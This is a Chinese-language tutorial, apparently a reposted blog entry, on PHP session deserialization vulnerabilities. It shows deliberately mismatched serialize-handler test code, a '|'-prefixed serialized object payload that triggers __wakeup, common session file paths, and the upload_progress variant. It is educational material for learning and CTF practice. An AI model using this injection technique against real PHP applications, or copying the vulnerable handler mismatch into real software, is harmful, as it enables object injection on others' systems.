php反序列化漏洞 (7)

php反序列化漏洞


因为我使用的是phpstudy搭建的环境所以路径比较奇怪
常见的存储位置

/var/lib/php5/sess_PHPSESSID /var/lib/php7/sess_PHPSESSID /var/lib/php/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSED session反序列化原理

session的存储机制

php反序列化漏洞


测试代码:

<?php //ini_set('session.serialize_handler', 'php'); //ini_set("session.serialize_handler", "php_serialize"); ini_set("session.serialize_handler", "php_binary"); session_start(); $_SESSION['Lmg'] = $_GET['a']; echo "<pre>"; var_dump($_SESSION); echo "</pre>"; ?>

分别注释查看不同机制的保存方式,我们分别?a=123查看

Lmg|s:3:"123"; ----------------ini_set('session.serialize_handler', 'php'); php机制

a:1:{s:3:"Lmg";s:3:"123";} ----------------ini_set("session.serialize_handler", "php_serialize"); php_serialize机制

Lmgs:3:"123"; -----------------ini_set("session.serialize_handler", "php_binary"); php_binary机制
产生session反序列的原因就在程序员在读取或者存储中使用了不同的机制,我们以php_serialize格式来存储,用php机制来读取
测试代码:
存储session代码:

<?php //ini_set('session.serialize_handler', 'php'); ini_set("session.serialize_handler", "php_serialize"); //ini_set("session.serialize_handler", "php_binary"); session_start(); $_SESSION['Lmg'] = $_GET['a']; echo "<pre>"; var_dump($_SESSION); echo "</pre>"; ?>

读取session代码:

<?php ini_set("session.serialize_handler", "php"); session_start(); class student { var $name; var $age; function __wakeup(){ echo $this->name; } } ?>

我们先构造一个student的类来生成我们想要的目的

<?php class student { var $name; var $age; } $Lmg = new student(); $Lmg->name = "hack"; $Lmg->age = "19"; echo serialize($Lmg); ?>

生成的序列化字符串
O:7:"student":2:{s:4:"name";s:4:"hack";s:3:"age";s:2:"19";}
我们构造在储存页面构造payload,只需要在上面的字符串前加|就可,为什么呢???

php反序列化漏洞


如果我们传入的数值中有|那么在读取时就认为后面是我们要反序列化的字符串,从而达到目的
将构造的字符串传入存储php中计:?a=|O:7:"student":2:{s:4:"name";s:4:"hack";s:3:"age";s:2:"19";}
查看储存的字符串:a:1:{s:3:"Lmg";s:60:"|O:7:"student":2:{s:4:"name";s:4:"hack";s:3:"age";s:2:"19";}
所以达到了目的

php反序列化漏洞


查看一下读取的php,成功打印了hack

php反序列化漏洞

没有$_SESSION赋值的session反序列化

在php中存在一个upload_process机制,可以自动创建$_SESSION一个键值对,而且其中的值用户可以控制,文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态

php反序列化漏洞


php反序列化漏洞


什么意思呢????意思上传文件,同时post一个于session.upload_process.name同名的变量。后端就会自动将post的这个同名变量作为键,进行序列化然后存储到session文件中,下次请求就会反序列化session文件

一个ctf题来实践了解一下

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wpsgff.html